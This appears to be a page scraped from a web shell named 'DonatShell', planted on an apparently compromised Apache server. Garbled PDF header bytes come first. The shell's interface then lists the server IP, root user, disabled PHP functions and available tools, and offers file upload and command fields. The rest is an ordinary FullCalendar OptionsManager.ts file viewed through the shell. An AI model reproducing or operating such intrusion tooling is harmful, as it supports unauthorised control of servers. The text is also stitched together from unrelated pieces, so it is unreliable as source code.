%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/11585/cwd/html/ppaobm/vendor/bower-asset/fullcalendar/src/core/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/11585/cwd/html/ppaobm/vendor/bower-asset/fullcalendar/src/core/OptionsManager.ts
import { firstDefined } from './util/misc'
import { globalDefaults, rtlDefaults, mergeOptions } from './options'
import { parseRawLocales, buildLocale } from './datelib/locale'
import { __assign } from 'tslib'


export default class OptionsManager {

  dirDefaults: any // option defaults related to LTR or RTL
  localeDefaults: any // option defaults related to current locale
  overrides: any // option overrides given to the fullCalendar constructor
  dynamicOverrides: any // options set with dynamic setter method. higher precedence than view overrides.
  computed: any


  constructor(overrides) {
    this.overrides = { ...overrides } // make a copy
    this.dynamicOverrides = {}
    this.compute()
  }


  add(props) {
    __assign(this.overrides, props)
    this.compute()
  }


  addDynamic(props) {
    __assign(this.dynamicOverrides, props)
    this.compute()
  }


  reset(props) {
    this.overrides = props
    this.compute()
  }


  // Computes the flattened options hash for the calendar and assigns to `this.options`.
  // Assumes this.overrides and this.dynamicOverrides have already been initialized.
  compute() {

    // TODO: not a very efficient system
    let locales = firstDefined( // explicit locale option given?
      this.dynamicOverrides.locales,
      this.overrides.locales,
      globalDefaults.locales
    )
    let locale = firstDefined( // explicit locales option given?
      this.dynamicOverrides.locale,
      this.overrides.locale,
      globalDefaults.locale
    )
    let available = parseRawLocales(locales)
    let localeDefaults = buildLocale(locale || available.defaultCode, available.map).options

    let dir = firstDefined( // based on options computed so far, is direction RTL?
      this.dynamicOverrides.dir,
      this.overrides.dir,
      localeDefaults.dir
    )

    let dirDefaults = dir === 'rtl' ? rtlDefaults : {}

    this.dirDefaults = dirDefaults
    this.localeDefaults = localeDefaults

    this.computed = mergeOptions([ // merge defaults and overrides. lowest to highest precedence
      globalDefaults, // global defaults
      dirDefaults,
      localeDefaults,
      this.overrides,
      this.dynamicOverrides
    ])
  }

}

Anon7 - 2022
AnonSec Team